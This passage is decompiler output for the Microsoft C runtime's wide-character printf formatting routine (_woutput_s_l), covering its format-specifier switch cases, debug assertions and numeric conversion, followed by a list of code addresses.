																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B890( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AE20(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0x7e8e98dc
																					E00424690(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE20(__ebp - 0x40));
																							__ecx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__edx =  *0x440380; // 0x8a8e9826
																							E00424690(__edx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE20(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0xc28e9826
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__ecx =  *(__ebp - 4);
																						__ecx =  *(__ebp - 4) + 1;
																						__eflags = __ecx;
																						 *(__ebp - 4) = __ecx;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																					do {
																						L187:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L212;
																						}
																						goto L188;
																					} while ( *(__ebp - 0x4ec) > 0x37);
																					goto L66;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E004284A0(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__cx =  *(__ebp - 0x458);
																				 *(__ebp - 0x448) = __cx;
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AE20(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041AE20(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				__eax = E0043B550(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																				__eflags = __eax;
																				if(__eax < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E004284A0(__ebp + 0x14);
																			__eax = E00434040();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																			L107:
																			__ecx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E350();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422E40(__ecx))) = 0x16;
																				__eax = E00422BD0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ADF0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E004284A0(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004284A0(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004284A0(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E004284C0(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E004284C0(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																		case 0xa:
																			goto L0;
																		case 0xb:
																			L84:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E004284A0(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					__eflags =  *(__ebp - 0x47c);
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				__edx =  *(__ebp - 0x480);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																				goto L105;
																			} else {
																				L88:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					__eflags =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041AE20(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					__eax = E00431350( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																					__eflags = __eax;
																					if(__eax != 0) {
																						__edx =  *(__ebp - 0x478);
																						__edx =  *(__ebp - 0x478) + 1;
																						__eflags = __edx;
																						 *(__ebp - 0x478) = __edx;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					__edx =  *(__ebp - 0x24);
																					__edx =  *(__ebp - 0x24) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x24) = __edx;
																				}
																				L97:
																				L105:
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																		case 0xc:
																			L142:
																			 *(__ebp - 8) = 0xa;
																			while(1) {
																				L150:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E004284A0(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004284A0(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																								 *(__ebp - 0x49c) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004284A0(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x4a0) = E004284C0(__ebp + 0x14);
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E004284C0(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L167;
																				}
																				goto L163;
																			}
																		case 0xd:
																			L144:
																			 *(__ebp - 0x460) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *(__ebp - 0x14) = __dx;
																				 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																				__eflags =  *(__ebp - 0x460) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			while(1) {
																				L150:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E004284A0(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004284A0(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																								 *(__ebp - 0x49c) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004284A0(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x4a0) = E004284C0(__ebp + 0x14);
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E004284C0(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L167;
																				}
																				goto L163;
																			}
																		case 0xe:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																	}
																case 8:
																	L24:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000002;
																	 *(__ebp - 0x10) = __ecx;
																	goto L27;
																case 9:
																	L25:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	goto L27;
																case 0xa:
																	L23:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	goto L27;
																case 0xb:
																	L22:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	goto L27;
																case 0xc:
																	L26:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000008;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L27;
																case 0xd:
																	L27:
																	goto L214;
															}
														} else {
															_t517 = 0;
															if(0 == 0) {
																 *(_t525 - 0x4dc) = 0;
															} else {
																 *(_t525 - 0x4dc) = 1;
															}
															 *(_t525 - 0x46c) =  *(_t525 - 0x4dc);
															if( *(_t525 - 0x46c) == 0) {
																_push(L"(\"Incorrect format specifier\", 0)");
																_push(0);
																_push(0x460);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t498 = L0041E350();
																_t527 = _t527 + 0x14;
																if(_t498 == 1) {
																	asm("int3");
																}
															}
															L14:
															if( *(_t525 - 0x46c) != 0) {
																goto L16;
															} else {
																 *((intOrPtr*)(L00422E40(_t510))) = 0x16;
																E00422BD0(_t501, _t510, _t523, _t524, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																 *(_t525 - 0x4c8) = 0xffffffff;
																E0041ADF0(_t525 - 0x40);
																_t483 =  *(_t525 - 0x4c8);
																L225:
																return E0042BDF0(_t483, _t501,  *(_t525 - 0x48) ^ _t525, _t517, _t523, _t524);
															}
														}
													}
													L215:
													__eflags =  *(_t525 - 0x45c);
													if( *(_t525 - 0x45c) == 0) {
														L218:
														 *(_t525 - 0x4f8) = 1;
														L219:
														_t517 =  *(_t525 - 0x4f8);
														 *(_t525 - 0x4bc) =  *(_t525 - 0x4f8);
														__eflags =  *(_t525 - 0x4bc);
														if( *(_t525 - 0x4bc) == 0) {
															_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
															_push(0);
															_push(0x8f5);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t488 = L0041E350();
															_t527 = _t527 + 0x14;
															__eflags = _t488 - 1;
															if(_t488 == 1) {
																asm("int3");
															}
														}
														__eflags =  *(_t525 - 0x4bc);
														if( *(_t525 - 0x4bc) != 0) {
															 *(_t525 - 0x4d4) =  *(_t525 - 0x44c);
															E0041ADF0(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4d4);
														} else {
															 *((intOrPtr*)(L00422E40(_t502))) = 0x16;
															E00422BD0(_t501, _t502, _t523, _t524, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
															 *(_t525 - 0x4d0) = 0xffffffff;
															E0041ADF0(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4d0);
														}
														goto L225;
													}
													L216:
													__eflags =  *(_t525 - 0x45c) - 7;
													if( *(_t525 - 0x45c) == 7) {
														goto L218;
													}
													L217:
													 *(_t525 - 0x4f8) = 0;
													goto L219;
												}
											}
											L184:
											__eflags =  *(__ebp - 0x24);
											if( *(__ebp - 0x24) == 0) {
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												goto L187;
											}
											L185:
											__eax =  *(__ebp - 4);
											__ecx =  *( *(__ebp - 4));
											__eflags = __ecx - 0x30;
											if(__ecx == 0x30) {
												goto L187;
											}
											goto L186;
										}
										L180:
										__eax =  *(__ebp - 8);
										asm("cdq");
										__ecx =  *(__ebp - 0x4a4);
										__edx =  *(__ebp - 0x4a8);
										__eax = E004308C0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
										 *(__ebp - 0x494) = __eax;
										__eax =  *(__ebp - 8);
										asm("cdq");
										__eax =  *(__ebp - 0x4a4);
										__ecx =  *(__ebp - 0x4a8);
										 *(__ebp - 0x4a8) = E00430940( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
										 *(__ebp - 0x4a4) = __edx;
										__eflags =  *(__ebp - 0x494) - 0x39;
										if( *(__ebp - 0x494) > 0x39) {
											__edx =  *(__ebp - 0x494);
											__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
											__eflags = __edx;
											 *(__ebp - 0x494) = __edx;
										}
										__eax =  *(__ebp - 4);
										 *( *(__ebp - 4)) =  *(__ebp - 0x494);
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										L178:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L180;
										}
										goto L179;
									}
								}
								L165:
								__eflags =  *(__ebp - 0x4a0);
								if( *(__ebp - 0x4a0) >= 0) {
									goto L167;
								}
								goto L166;
								L167:
								__ecx =  *(__ebp - 0x4a0);
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
								__edx =  *(__ebp - 0x49c);
								 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
								goto L168;
							}
						}
					}
				}
			}

0x0043c376
0x0043c376
0x0043c376
0x0043c376
0x0043c376
0x0043c376
0x0043c376
0x0043c37d
0x0043c37d
0x0043c37d
0x0043c393
0x0043c393
0x0043c393
0x0043c39d
0x0043c39d
0x0043c3a3
0x0043c3a5
0x0043c3aa
0x0043c3b4
0x0043c3b4
0x0043c3b7
0x0043c3bb
0x0043c3bb
0x0043c3e2
0x0043c3e2
0x0043c3e5
0x0043c3e5
0x0043c3ea
0x0043c40c
0x0043c40c
0x0043c412
0x0043c434
0x0043c434
0x0043c437
0x0043c47e
0x0043c47e
0x0043c481
0x0043c49e
0x0043c4a2
0x0043c4aa
0x0043c4aa
0x0043c4ac
0x0043c4b2
0x0043c483
0x0043c483
0x0043c487
0x0043c48f
0x0043c490
0x0043c496
0x0043c496
0x0043c439
0x0043c43c
0x0043c43c
0x0043c43f
0x0043c45d
0x0043c469
0x0043c46c
0x0043c46d
0x0043c473
0x0043c441
0x0043c441
0x0043c445
0x0043c44d
0x0043c44e
0x0043c44f
0x0043c455
0x0043c455
0x0043c479
0x0043c414
0x0043c414
0x0043c420
0x0043c426
0x0043c426
0x0043c3ec
0x0043c3ec
0x0043c3f8
0x0043c3fe
0x0043c3fe
0x0043c4bb
0x0043c4bb
0x0043c4be
0x00000000
0x00000000
0x0043c4c0
0x0043c4c0
0x0043c4c7
0x00000000
0x00000000
0x0043c4c9
0x0043c4c9
0x0043c4d4
0x0043c4da
0x0043c4dc
0x0043c4e2
0x0043c4e5
0x0043c4e7
0x0043c4ed
0x0043c4f6
0x0043c4fb
0x0043c518
0x0043c51b
0x0043c51b
0x0043c520
0x0043c525
0x0043c525
0x0043c52b
0x0043c52d
0x0043c533
0x0043c539
0x0043c539
0x0043c542
0x0043c542
0x0043c52b
0x0043c548
0x0043c54c
0x0043c55a
0x0043c55d
0x0043c560
0x0043c567
0x0043c569
0x0043c569
0x0043c54e
0x0043c54e
0x0043c54e
0x0043c576
0x0043c576
0x0043c57c
0x0043c57e
0x0043c57e
0x0043c585
